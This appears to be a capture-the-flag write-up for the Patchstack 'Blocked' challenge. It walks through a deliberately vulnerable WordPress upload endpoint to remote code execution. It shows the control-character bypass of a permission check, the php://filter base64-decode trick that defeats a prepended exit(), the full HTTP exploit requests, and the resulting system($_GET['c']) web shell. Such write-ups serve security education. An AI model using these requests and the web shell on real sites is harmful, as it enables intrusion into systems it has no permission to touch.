Patchstack CTF: Blocked
Explore how creative tricks in PHP and WordPress allow you to bypass restrictions in a fun Patchstack CTF (S02E01) challenge and uncover neat tricks with filters and file paths!

This is my second write-up for challenges for the Patchstack (S02E01) WordCamp Asia CTF, you can read the first one here: Cool Templates.
This was another cool little challenge that required a few little tricks to get remote code execution. The plugin was quite simple with a single REST API route defined:
function register_endpoints(){
register_rest_route( 'test', '/upload/(?P<somevalue>\w+)', [
'methods' => WP_Rest_Server::CREATABLE,
'callback' => 'upload_something',
'permission_callback' => 'check_request',
]);
}
There is a permission_callback
w check we must pass to access this endpoint:
function check_request( $request ) {
$some_value = trim( strtolower( $request['somevalue'] ) );
if( empty( $some_value ) ) {
return false;
}
if( ! preg_match( '/^secretword_/i', $some_value) ) {
return false;
}
if( $some_value == 'secretword_is_true' ) {
return false;
}
return true;
}
We can pass this by providing the some_value
parameter as that begins with secretword_
but does not equal secretword_is_true
. However, in the actual endpoint function, we obtain a value from get_option
that must exist and one is set at the start of the file update_option("secretword_is_true", "anything");
function upload_something($request){
$body = $request->get_json_params();
$content = $body['content'];
$name = $body['name'];
$some_value = trim( strtolower( $request['somevalue'] ) );
if(!get_option($some_value)){
echo "blocked";
exit();
}
if(strlen($name) > 105){
echo "blocked.";
exit();
}
This means we have a problem where we need to pass the first check by providing a value that isn’t secretword_is_true
but when we get the option, the key should be secretword_is_true
. This would be trivial if it wasn’t for the trim
that occurs as we could just add a space to the name secretword_is_true
. So, we need to find a different whitespace character that doesn’t get removed when trim
is called but does when passed into get_option
.
To figure out which whitespace chars would work I created a short wordlist of candidates:
\u0000
\u0001
\u0002
\u0003
\u0004
\u0005
\u0006
\u0007
\b
\t
\n
\u000b
\r
\u000e
\u000f
\u0010
\u0011
\u0012
\u0013
\u0014
\u0015
\u0016
\u0017
\u0018
\u0019
\u001a
\u001b
\u001c
\u001d
\u001e
\u001f
\u0020
Using this wordlist in Caido’s automate, we can see many of the chars work (200) and return success
, so we can use any of these and move on to the next challenge.
Now the next trick that we have to bypass is that any PHP script we create will immediately exit, preventing execution of any code we insert.
$write = <<<EOF
<?php
exit('ha?');
// $content
EOF;
file_put_contents($name . '.php', $write);
This is where I went down a bit of rabbit hole looking into the code execution order of PHP files, interestingly there are a few different things that do get executed, like static and constant fields inside classes. But there was nothing obvious that would allow something as complex as arbitrary commands to be run.
After a while of digging I went back to the source code to see what I was missing, and it jumped out immediately that I had complete control over the first part of the file path. And in PHP filepaths can be PHP filters, this means we can do some magic encoding by implementing a filter that does something before the file is written.
I tried using rot13 with a filter like php://filter/convert.rot13/resource=hello
and content <?cuc flfgrz($_TRG['p']);
, hoping it would mangle the first part of the file and nicely convert our payload. This didn’t work as the rot13 seemed to have no effect. Boo!
So I switched tact and used base64 decoding php://filter/convert.base64-decode/resource=hello
, this worked and absolutely mangled our file, quite helpfully this filter will simply ignore chars that are not in the base64 char set.
So now we can base64 encode a basic PHP shell:
<?php
system($_GET['c']);
Which becomes:
PD9waHAgCgpzeXN0ZW0oJF9HRVRbJ2MnXSk7
The we can send this in our request:
POST /wp-json/test/upload/secretword_is_truex HTTP/1.1
Host: 52.77.81.199:9199
Content-Type: application/json
{
"name":"php://filter/convert.base64-decode/resource=/var/www/html/wp-content/uploads/hello",
"content": "PD9waHAgCgpzeXN0ZW0oJF9HRVRbJ2MnXSk7",
"somevalue": "secretword_is_true\u001f"
}
And, poop, it does not work.
This is because base64 decoding works in chunks of 4, and due to the input we do not control we are not aligned. So we know that we need to pad our input so that it does align with a new byte and gets decoded correctly. We could count the bytes but it’s easier to just pad our payload with junk at the front until we find what we need, the following should be all we need:
PD9waHAgCgpzeXN0ZW0oJF9HRVRbJ2MnXSk7
aPD9waHAgCgpzeXN0ZW0oJF9HRVRbJ2MnXSk7
aaPD9waHAgCgpzeXN0ZW0oJF9HRVRbJ2MnXSk7
aaaPD9waHAgCgpzeXN0ZW0oJF9HRVRbJ2MnXSk7
We find the the second payload works:
POST /wp-json/test/upload/secretword_is_truex HTTP/1.1
Host: 52.77.81.199:9199
Content-Type: application/json
{
"name":"php://filter/convert.base64-decode/resource=/var/www/html/wp-content/uploads/hello",
"content": "aPD9waHAgCgpzeXN0ZW0oJF9HRVRbJ2MnXSk7",
"somevalue": "secretword_is_true\u001f"
}
and we now have a PHP shell uploaded to hello.php
that looks like the following:
�▒^�+ak��<?php
system($_GET['c']);
and we can then hit out shell to list the files:

Listing files using the shell
and grab the flag 🥳:

Grabbing the flag using the shell
Flag: CTF{you_bypass_the_exit_nice_8b31009122dd}
Summary
This challenge, along with the little rabbit holes I explored while solving it, highlights some of the creative tricks you can utilize in PHP and WordPress. If you have control over the start of a file path, always consider using filters. It’s incredible how much you can do that goes far beyond what any developer who wrote the code might have anticipated!